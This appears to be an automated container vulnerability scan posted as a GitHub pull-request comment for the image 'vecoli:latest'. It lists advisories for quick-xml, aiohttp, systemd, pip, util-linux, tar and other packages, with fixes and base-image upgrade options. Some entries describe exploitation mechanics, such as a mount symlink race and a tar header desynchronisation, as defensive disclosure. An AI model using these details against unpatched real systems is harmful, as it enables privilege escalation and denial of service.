Remediation

Upgrade to quick-xml >= 0.41.0. NamespaceResolver::push now rejects a start
tag that declares more than DEFAULT_MAX_DECLARATIONS_PER_ELEMENT (256)
namespace bindings, returning the new NamespaceError::TooManyDeclarations
instead of allocating without limit. The limit is configurable via
NamespaceResolver::set_max_declarations_per_element (use usize::MAX to
restore the previous unbounded behavior), and NsReader::resolver_mut() is
provided to reach it.

There is no clean workaround for NsReader consumers before 0.41.0, as the
allocation happens inside the reader with no configuration knob to cap it.

high 7.5: RUSTSEC--2026--0194

Affected range<0.41.0
Fixed version0.41.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Description

BytesStart::attributes() returns an Attributes iterator which, by default
(with_checks(true)), rejects a start tag that repeats an attribute name. For
each attribute yielded, the iterator compared the new name against every name
seen so far in the same tag using a linear scan, so a start tag with N
distinct attribute names cost O(N²) byte comparisons. There was no bound on
N other than the size of the buffered start tag.

Impact

Any code that parses untrusted XML and iterates a start tag's attributes with
the default duplicate check enabled can be made to spend CPU time quadratic in
the number of attributes on a single tag. Because the check is pure computation
with no .await/I/O, an I/O-based timeout on the consumer (for example a read
or request timeout) cannot interrupt it while it runs.

Measured cost of a single start tag, release build:

Attributes on one tag Time
80,000 ~6 s
800,000 ~10 min

The cost grows with the square of the attribute count, so a start tag of a few
tens of megabytes can stall a parsing thread for hours. No memory is exhausted
and the parser does not crash; the effect is CPU exhaustion on the thread doing
the parsing: a single crafted start tag can pin a CPU core for minutes to hours,
denying service to that worker. A deployment that places a wall-clock bound on
parsing, or confines it to a non-critical thread, may consider the availability
impact lower.

Affected code paths

  • BytesStart::attributes() / Attributes iterated with checks enabled (the
    default), and BytesStart::try_get_attribute.
  • NsReader, which resolves namespaces by iterating a tag's attributes and so
    reaches the same check internally.

Consumers that iterate attributes with .attributes().with_checks(false) and do
not use NsReader are not affected.

This was reported as reachable by a remote, unauthenticated attacker in a
real-world RPKI relying party (NLnet Labs Routinator) via a crafted RRDP
snapshot.xml.

Remediation

Upgrade to quick-xml >= 0.41.0, where the duplicate check keeps the linear
scan for start tags with a small number of attributes and switches to an O(1)
hash pre-filter above a threshold, making the whole tag O(N). The reported
AttrError::Duplicated positions are unchanged.

If upgrading is not possible and duplicate-name detection is not required,
disable it with .attributes().with_checks(false) (this does not help
NsReader consumers, which have no equivalent opt-out before 0.41.0).

critical: 0 high: 2 medium: 0 low: 0 quinn-proto 0.11.14 (cargo)

pkg:cargo/quinn-proto@0.11.14

high 7.5: GHSA--4w2j--m93h--cj5j Allocation of Resources Without Limits or Throttling

Affected range>=0.1.0
<0.11.15
Fixed version0.11.15
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Description

Summary

The Assembler component that assembles unordered stream fragments into consecutive chunks of the stream incurs some overhead for non-contiguous fragments. Readers that read from a RecvStream in order (through an AsyncRead impl for example) will be sensitive to peers that send fragments while leaving out early parts of the stream, and in particular, fragments with many gaps (because these cannot be defragmented). In such a scenario, the receiving connection suffers from high buffer overhead, enabling memory exhaustion.

high 7.5: CVE--2026--25800

Affected range<0.11.15
Fixed version0.11.15
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.609%
EPSS Percentile47th percentile
Description

The Assembler component that assembles unordered stream fragments into consecutive chunks of the
stream incurs some overhead for non-contiguous fragments. Readers that read from a RecvStream in
order (through an AsyncRead impl for example) will be sensitive to peers that send fragments
while leaving out early parts of the stream, and in particular, fragments with many gaps (because
these cannot be defragmented). In such a scenario, the receiving connection suffers from high
buffer overhead, enabling memory exhaustion.

critical: 0 high: 1 medium: 2 low: 0 aiohttp 3.14.1 (pypi)

pkg:pypi/aiohttp@3.14.1

high 7.1: CVE--2026--69244 Out-of-bounds Read

Affected range<=3.14.2
Fixed version3.14.3
CVSS Score7.1
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.300%
EPSS Percentile22nd percentile
Description

Summary

An out-of-bounds heap read could occur in the C response parser while building an error message for a malformed response.

Impact

An attacker controlled server, or possibly an accidental response could trigger a DoS in the client.

Workaround

If unable to upgrade, the Python parser is unaffected and can be used with AIOHTTP_NO_EXTENSIONS=1.


Patch: aio-libs/aiohttp@49f65d5

medium 6.9: CVE--2026--59881 Improper Input Validation

Affected range<=3.14.1
Fixed version3.14.2
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
EPSS Score0.302%
EPSS Percentile22nd percentile
Description

Summary

The client accepts and decompresses frames with the RSV1 bit set even when the permessage-deflate extension was not negotiated.

Impact

A client may unexpectedly decompress WebSocket frames when explicitly opted out. This could lead to additional CPU/memory consumption, but is unlikely to be a significant issue unless a zip bomb vulnerability or similar is also present.


Patch: aio-libs/aiohttp@47fb6ae

medium 6.3: CVE--2026--69243 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')

Affected range<=3.14.1
Fixed version3.14.2
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score0.431%
EPSS Percentile36th percentile
Description

Summary

The HTTP parsers were vulnerable to a request smuggling attack relating to WebSocket upgrades.

Impact

If using the server-side component, it may be possible for an attacker to execute a request smuggling vulnerability using an edge case in the WebSocket upgrade procedure. AIOHTT is unaware of any public exploit code.


Patch: aio-libs/aiohttp@6ae358f

critical: 0 high: 1 medium: 1 low: 0 libssh2 1.11.1-1 (deb)

pkg:deb/debian/libssh2@1.11.1-1?os_distro=trixie&os_name=debian&os_version=13

high : CVE--2025--15661

Affected range<1.11.1-1+deb13u1
Fixed version1.11.1-1+deb13u1
EPSS Score0.648%
EPSS Percentile49th percentile
Description

libssh2 through 1.11.1, fixed in commit 2dae302, contains an out-of-bounds heap read vulnerability in the sftp_symlink() function in src/sftp.c that allows a malicious SSH server or man-in-the-middle attacker to disclose heap memory contents or cause a crash by sending a crafted SSH_FXP_NAME response. Attackers can supply a link_len value larger than the actual packet data in SSH_FXP_NAME responses for SFTP READLINK and REALPATH operations, triggering a heap buffer over-read of up to target_len minus one bytes due to the missing validation of available packet buffer size before the memcpy operation.


medium : CVE--2026--7598

Affected range<1.11.1-1+deb13u1
Fixed version1.11.1-1+deb13u1
EPSS Score0.466%
EPSS Percentile39th percentile
Description

A security vulnerability has been detected in libssh2 up to 1.11.1. The impacted element is the function userauth_password of the file src/userauth.c. Such manipulation of the argument username_len/password_len leads to integer overflow. The attack may be launched remotely. The name of the patch is 256d04b60d80bf1190e96b0ad1e91b2174d744b1. A patch should be applied to remediate this issue.


critical: 0 high: 1 medium: 0 low: 0 libtasn1-6 4.20.0-2 (deb)

pkg:deb/debian/libtasn1-6@4.20.0-2?os_distro=trixie&os_name=debian&os_version=13

high : CVE--2025--13151

Affected range<4.20.0-2+deb13u1
Fixed version4.20.0-2+deb13u1
EPSS Score1.149%
EPSS Percentile65th percentile
Description

Stack-based buffer overflow in libtasn1 version: v4.20.0. The function fails to validate the size of input data resulting in a buffer overflow in asn1_expend_octet_string.


[experimental] - libtasn1-6 4.21.0-1

critical: 0 high: 0 medium: 4 low: 0 systemd 257.9-1~deb13u1 (deb)

pkg:deb/debian/systemd@257.9-1~deb13u1?os_distro=trixie&os_name=debian&os_version=13

medium : CVE--2026--4105

Affected range<257.13-1~deb13u1
Fixed version257.13-1~deb13u1
EPSS Score0.142%
EPSS Percentile4th percentile
Description

A flaw was found in systemd. The systemd-machined service contains an Improper Access Control vulnerability due to insufficient validation of the class parameter in the RegisterMachine D-Bus (Desktop Bus) method. A local unprivileged user can exploit this by attempting to register a machine with a specific class value, which may leave behind a usable, attacker-controlled machine object. This allows the attacker to invoke methods on the privileged object, leading to the execution of arbitrary commands with root privileges on the host system.


medium : CVE--2026--40226

Affected range<257.13-1~deb13u1
Fixed version257.13-1~deb13u1
EPSS Score0.072%
EPSS Percentile0th percentile
Description

In nspawn in systemd 233 through 259 before 260, an escape-to-host action can occur via a crafted optional config file.


medium : CVE--2026--40225

Affected range<257.13-1~deb13u1
Fixed version257.13-1~deb13u1
EPSS Score0.144%
EPSS Percentile4th percentile
Description

In udev in systemd before 260, local root execution can occur via malicious hardware devices and unsanitized kernel output.


medium : CVE--2026--29111

Affected range<257.13-1~deb13u1
Fixed version257.13-1~deb13u1
EPSS Score0.121%
EPSS Percentile2nd percentile
Description

systemd, a system and service manager, (as PID 1) hits an assert and freezes execution when an unprivileged IPC API call is made with spurious data. On version v249 and older the effect is not an assert, but stack overwriting, with the attacker controlled content. From version v250 and newer this is not possible as the safety check causes an assert instead. This IPC call was added in v239, so versions older than that are not affected. Versions 260-rc1, 259.2, 258.5, and 257.11 contain patches. No known workarounds are available.


critical: 0 high: 0 medium: 4 low: 0 pip 26.0.1 (pypi)

pkg:pypi/pip@26.0.1

medium 5.6: CVE--2026--13346 Absolute Path Traversal

Affected range<26.2.0
Fixed version26.2.0
CVSS Score5.6
CVSS VectorCVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:A/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
EPSS Score0.292%
EPSS Percentile21st percentile
Description

pip would incorrectly handle doubly-encoded package URLs from indexes allowing for files to be installed to arbitrary locations on disk even when installing wheels.

This vulnerability requires downloading or installing a package from a malicious package index to succeed, malicious packages alone are not able to exploit this vulnerability. Note that this vulnerability only materially impacts users running pip download with the --only-binary option as installing source distributions from an untrusted index is already an unsafe operation that executes code during install time.

medium 5.3: CVE--2026--6357 Inclusion of Functionality from Untrusted Control Sphere

Affected range<26.1
Fixed version26.1
CVSS Score5.3
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:H/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
EPSS Score0.138%
EPSS Percentile4th percentile
Description

pip prior to version 26.1 would run self-update check functionality after installing wheel files which required importing well-known Python modules names. These module imports were intentionally deferred to increase startup time of the pip CLI. The patch changes self-update functionality to run before wheels are installed to prevent newly-installed modules from being imported shortly after the installation of a wheel package. Users should still review package contents prior to installation.

medium 4.6: CVE--2026--3219 Unrestricted Upload of File with Dangerous Type

Affected range<=26.0.1
Fixed version26.1
CVSS Score4.6
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score0.144%
EPSS Percentile4th percentile
Description

pip handles concatenated tar and ZIP files as ZIP files regardless of filename or whether a file is both a tar and ZIP file. This behavior could result in confusing installation behavior, such as installing "incorrect" files according to the filename of the archive. New behavior only proceeds with installation if the file identifies uniquely as a ZIP or tar archive, not as both.

medium 4.1: CVE--2026--8643 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range<26.1.2
Fixed version26.1.2
CVSS Score4.1
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
EPSS Score0.320%
EPSS Percentile25th percentile
Description

pip would treat console_scripts and gui_scripts as paths instead of file names without sanitizing the resolved absolute path to the installation directory, leading to entry points being installed outside the installation directory.

critical: 0 high: 0 medium: 2 low: 0 util-linux 2.41-5 (deb)

pkg:deb/debian/util-linux@2.41-5?os_distro=trixie&os_name=debian&os_version=13

medium : CVE--2026--13595

Affected range<2.41.5-0+deb13u1
Fixed version2.41.5-0+deb13u1
EPSS Score0.168%
EPSS Percentile6th percentile
Description

A flaw was found in the libblkid library of util-linux. During nested partition probing, the BSD, Minix, Solaris x86, and UnixWare partition probers cache a raw pointer to a parent partition entry in a dynamically allocated array. When subsequent partition additions cause the array to be reallocated, this pointer becomes stale, leading to a heap use-after-free read. An attacker who can present a crafted block device image (for example, via USB insertion or a loop-mounted disk image) can trigger this flaw without user interaction, as libblkid is invoked automatically by udev/udisks as root on block-device hot-plug events. This could lead to limited information disclosure or denial of service.


medium : CVE--2026--27456

Affected range<2.41.5-0+deb13u1
Fixed version2.41.5-0+deb13u1
EPSS Score0.118%
EPSS Percentile2nd percentile
Description

util-linux is a random collection of Linux utilities. Prior to version 2.41.4, a TOCTOU (Time-of-Check-Time-of-Use) vulnerability has been identified in the SUID binary /usr/bin/mount from util-linux. The mount binary, when setting up loop devices, validates the source file path with user privileges via fork() + setuid() + realpath(), but subsequently re-canonicalizes and opens it with root privileges (euid=0) without verifying that the path has not been replaced between both operations. Neither O_NOFOLLOW, nor inode comparison, nor post-open fstat() are employed. This allows a local unprivileged user to replace the source file with a symlink pointing to any root-owned file or device during the race window, causing the SUID binary to open and mount it as root. Exploitation requires an /etc/fstab entry with user,loop options whose path points to a directory where the attacker has write permission, and that /usr/bin/mount has the SUID bit set (the default configuration on virtually all Linux distributions). The impact is unauthorized read access to root-protected files and block devices, including backup images, disk volumes, and any file containing a valid filesystem. This issue has been patched in version 2.41.4.


critical: 0 high: 0 medium: 2 low: 0 krb5 1.21.3-5 (deb)

pkg:deb/debian/krb5@1.21.3-5?os_distro=trixie&os_name=debian&os_version=13

medium : CVE--2026--40356

Affected range<1.21.3-5+deb13u1
Fixed version1.21.3-5+deb13u1
EPSS Score0.604%
EPSS Percentile47th percentile
Description

In MIT Kerberos 5 (aka krb5) before 1.22.3, there is an integer underflow and resultant out-of-bounds read if an application calls gss_accept_sec_context() on a system with a NegoEx mechanism registered in /etc/gss/mech. An unauthenticated remote attacker can trigger this, possibly causing the process to terminate in parse_message.


medium : CVE--2026--40355

Affected range<1.21.3-5+deb13u1
Fixed version1.21.3-5+deb13u1
EPSS Score0.611%
EPSS Percentile47th percentile
Description

In MIT Kerberos 5 (aka krb5) before 1.22.3, there is a NULL pointer dereference if an application calls gss_accept_sec_context() on a system with a NegoEx mechanism registered in /etc/gss/mech. An unauthenticated remote attacker can trigger this, causing the process to terminate in parse_nego_message.


critical: 0 high: 0 medium: 1 low: 0 uv 0.11.14 (cargo)

pkg:cargo/uv@0.11.14

medium : GHSA--4gg8--gxpx--9rph Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range<0.11.15
Fixed version0.11.15
Description

Impact

In versions of uv prior to 0.11.15, when installing a distribution containing an entry point specification (under console_scripts or gui_scripts), uv would place the generated entry point according to the given name even if doing so resulted in a path outside of the environment's scripts directory.

A malicious wheel could use this to place an executable outside of the intended environment, including in a directory already present on the user's PATH. This could shadow or overwrite an existing executable and potentially result in unexpected code execution under the wheel's control, even if the wheel's installation environment was not explicitly added to PATH by the user.

In order to exploit this vulnerability, the attacker must induce their target into installing a malicious wheel.

Patches

uv 0.11.15 and newer address this vulnerability. Users are encouraged to upgrade to 0.11.15.

Workarounds

There is no workaround other than upgrading to uv 0.11.15.

critical: 0 high: 0 medium: 1 low: 0 setuptools 80.10.2 (pypi)

pkg:pypi/setuptools@80.10.2

medium 6.1: CVE--2026--59890 Improper Handling of Unicode Encoding

Affected range<83.0.0
Fixed version83.0.0
CVSS Score6.1
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N
EPSS Score0.405%
EPSS Percentile34th percentile
Description

Summary

When building a source distribution (python -m build --sdist / setup.py sdist), setuptools' FileList applies MANIFEST.in directives (exclude, global-exclude, recursive-exclude, prune) by matching a compiled glob against on-disk file names byte-for-byte, with no Unicode normalization. On normalization-preserving filesystems (notably macOS APFS and HFS+), a file written in NFD and a MANIFEST.in rule written in NFC refer to the same file but are byte-distinct, so the exclusion silently fails to match. A file the maintainer intended to exclude is then packed into the .tar.gz and, if published, uploaded to the public, immutable PyPI index.

Details

File names in FileList.files come from os.walk (setuptools/_distutils/filelist.py, _find_all_simple), so on APFS a file written NFD is offered to the matcher in NFD, while the MANIFEST.in pattern carries the author's editor form (typically NFC). The matching path performs no canonicalization:

# setuptools/command/egg_info.py  (FileList.global_exclude)
def global_exclude(self, pattern):
    match = translate_pattern(os.path.join('**', pattern))   # fnmatch.translate -> regex, no NFC/NFD
    return self._remove_files(match.match)                   # byte-level regex over raw os.walk names

A rule written NFC (café = 63 61 66 c3 a9) does not match an on-disk name written NFD (café = 63 61 66 65 cc 81), even though the filesystem treats the two as one file.

A unicodedata.normalize('NFD', ...) helper exists in setuptools/unicode_utils.py (decompose()), but it is never called in the manifest matching path, so neither the pattern nor the walked path is normalized before matching. The only normalization in this area, EggInfoCommand._manifest_normalize, uses filesys_decode (bytes→str decode only, no NFC/NFD) and runs when writing SOURCES.txt, after matching has already occurred.

Impact

MANIFEST.in exclusions are the documented mechanism maintainers use to keep secrets, local configs, and private fixtures out of the published sdist. A non-ASCII excluded file may be published to the public, immutable PyPI index despite the rule — an irreversible disclosure with no visual cue (NFC and NFD forms render identically). Exposure is filesystem-dependent and most relevant on macOS APFS/HFS+, where many maintainers build and publish. Pure-ASCII rules are unaffected.

Proof of concept

With a project containing MANIFEST.in:

global-include *.txt *.json
global-exclude secret_café.txt    # rule saved NFC

and an on-disk file secret_café.txt written in NFD, python -m build --sdist packs the secret file into the resulting .tar.gz, while an ASCII control file excluded by the same directive is correctly dropped — isolating the bypass to the NFC-pattern vs. NFD-name mismatch. Reproduced on macOS APFS with setuptools 82.0.1.

Remediation

Normalize both the walked path and each MANIFEST.in pattern to a single canonical form before matching, in both setuptools/command/egg_info.py (FileList) and the vendored setuptools/_distutils/filelist.py. For an exclusion list, err toward excluding more, and document that MANIFEST.in matching is normalization-insensitive on macOS.

Credit

Reported by Tomas Illuminati. Coordinated via CERT/CC VINCE VU#604762.

critical: 0 high: 0 medium: 1 low: 0 astral-tokio-tar 0.6.1 (cargo)

pkg:cargo/astral-tokio-tar@0.6.1

medium 6.9: GHSA--3cv2--h65g--fgmm Improper Input Validation

Affected range<=0.6.1
Fixed version0.6.2
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Description

Impact

Versions of astral-tokio-tar prior to 0.6.2 contain a PAX header interpretation bug that allows manipulated entries to be made selectively visible or invisible during extraction with astral-tokio-tar versus other tar implementations. An attacker could use this differential to smuggle unexpected files onto a victim's filesystem.

Details

When a tar stream contains multiple "header" entries prior to a file entry, astral-tokio-tar applies the PAX header (x) to the next entry in the stream, regardless of type. For example, a stream of x -> L -> file (PAX, GNU longname, file) would result in x's extensions being applied to L rather than to file.

Per POSIX pax, this is incorrect: a PAX header always applies to a file entry, not any intermediary entries. See the "pax Header Block" section for the specific prescription there.

As a result of this, an attacker can contrive a tar containing a sequence of tar headers such that astral-tokio-tar applies the PAX header's size extension to the next header in sequence, effectively desynchronizing the stream and enabling astral-tokio-tar specific skippage/extraction of members. In other words, a file can be contrived to extract differently on astral-tokio-tar than on other tar parsers.

Patches

Versions 0.6.2 and newer of astral-tokio-tar address this differential.

Workarounds

Users are advised to upgrade to version 0.6.1 or newer to address this advisory.

There is no workaround other than upgrading. Users should experience no breaking changes as a result of the upgrade.

Resources

  • GHSA-j5gw-2vrg-8fgx is a similar PAX desynchronization bug
  • GHSA-fp55-jw48-c537 is another similar PAX desynchronization bug
critical: 0 high: 0 medium: 1 low: 0 tar 0.4.45 (cargo)

pkg:cargo/tar@0.4.45

medium : GHSA--3pv8--6f4r--ffg2 Improper Input Validation

Affected range<=0.4.45
Fixed version0.4.46
Description

Summary

When a tar stream contains multiple "header" entries prior to a file entry, tar-rs applies the PAX header (x) to the next entry in the stream, regardless of type. For example, a stream of x -> L -> file (PAX, GNU longname, file) would result in x's extensions being applied to L rather than to file.

Per POSIX pax, this is incorrect: a PAX header always applies to a file entry, not any intermediary entries. See the "pax Header Block" section for the specific prescription there.

As a result of this, an attacker can contrive a tar containing a sequence of tar headers such that tar-rs applies the PAX header's size extension to the next header in sequence, effectively desynchronizing the stream and enabling tar-rs specific skippage/extraction of members. In other words, a file can be contrived to extract differently on tar-rs than on other tar parsers.

PoC

This tar (zipped for size) demonstrates the desynchronization: with tar tvf:

% tar tvf tests/archives/pax-overrides-extension-header.tar 
----------  0 0      0        2048 Dec 31  1969 longname.txt
----------  0 0      0           0 Dec 31  1969 file_b

with tar-rs:

---- pax_size_does_not_apply_to_extension_headers stdout ----

thread 'pax_size_does_not_apply_to_extension_headers' (250476889) panicked at tests/all.rs:2121:27:
called `Result::unwrap()` on an `Err` value: Custom { kind: Other, error: "numeric field was not a number: AAAAAAAA when getting cksum for AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" }
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace

In the above case, the PoC is not weaponized, so it jumps into the middle of an entry and subsequently fails the checksum test rather than silently continuing with attacker-controlled archive state.

Impact

This is very similar to GHSA-j5gw-2vrg-8fgx and GHSA-fp55-jw48-c537 in impact -- an attacker can use this to extract (or not extract) files from a tar stream depending on the tar parser used, which in turn can be used to obscure the presence of malicious files.

critical: 0 high: 0 medium: 1 low: 0 libcap2 1:2.75-10+b8 (deb)

pkg:deb/debian/libcap2@1%3A2.75-10%2Bb8?os_distro=trixie&os_name=debian&os_version=13

medium : CVE--2026--4878

Affected range<1:2.75-10+deb13u1
Fixed version1:2.75-10+deb13u1
EPSS Score0.206%
EPSS Percentile11th percentile
Description

A flaw was found in libcap. A local unprivileged user can exploit a Time-of-check-to-time-of-use (TOCTOU) race condition in the cap_set_file() function. This allows an attacker with write access to a parent directory to redirect file capability updates to an attacker-controlled file. By doing so, capabilities can be injected into or stripped from unintended executables, leading to privilege escalation.


@github-actions

Copy link
Copy Markdown
Contributor

Recommended fixes for image vecoli:latest

Base image is debian:13-slim

Name13.4-slim
Digestsha256:486b1c3d3a6a836d2518d5ac1a7b522050a034ae83b47c063fd45d550b2b9dbf
Vulnerabilitiescritical: 2 high: 11 medium: 11 low: 16
Pushed4 months ago
Size30 MB
Packages111
OS13.4
The base image is also available under the supported tag(s): trixie-slim

Refresh base image

Rebuild the image using a newer base image version. Updating this may result in breaking changes.
TagDetailsPushedVulnerabilities
13-slim
Newer image for same tag
Also known as:
  • 13.6-slim
  • trixie-slim
  • trixie-20260824-slim
Benefits:
  • Same OS detected
  • Newer image for same tag
  • Minor OS version update
  • Tag was pushed more recently
  • Image has similar size
  • Image introduces no new vulnerability but removes 26
  • Image contains equal number of packages
  • Tag is using slim variant
Image details:
  • Size: 30 MB
  • OS: 13.6
2 weeks ago



Change base image

TagDetailsPushedVulnerabilities
stable-slim
Tag is preferred tag
Also known as:
  • stable-20260824-slim
Benefits:
  • Same OS detected
  • Tag is preferred tag
  • Tag was pushed more recently
  • Image has similar size
  • Image contains equal number of packages
  • Tag is using slim variant
  • stable-slim was pulled 46K times last month
Image details:
  • Size: 30 MB
  • Flavor: debian
  • OS: 12
  • Slim: ✅
2 weeks ago



13
Tag is latest
Also known as:
  • 13.6
  • latest
  • trixie
  • trixie-20260824
Benefits:
  • Same OS detected
  • Minor OS version update
  • Tag was pushed more recently
  • Tag is latest
  • Image contains equal number of packages
Image details:
  • Size: 49 MB
  • OS: 13.6
2 weeks ago



Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant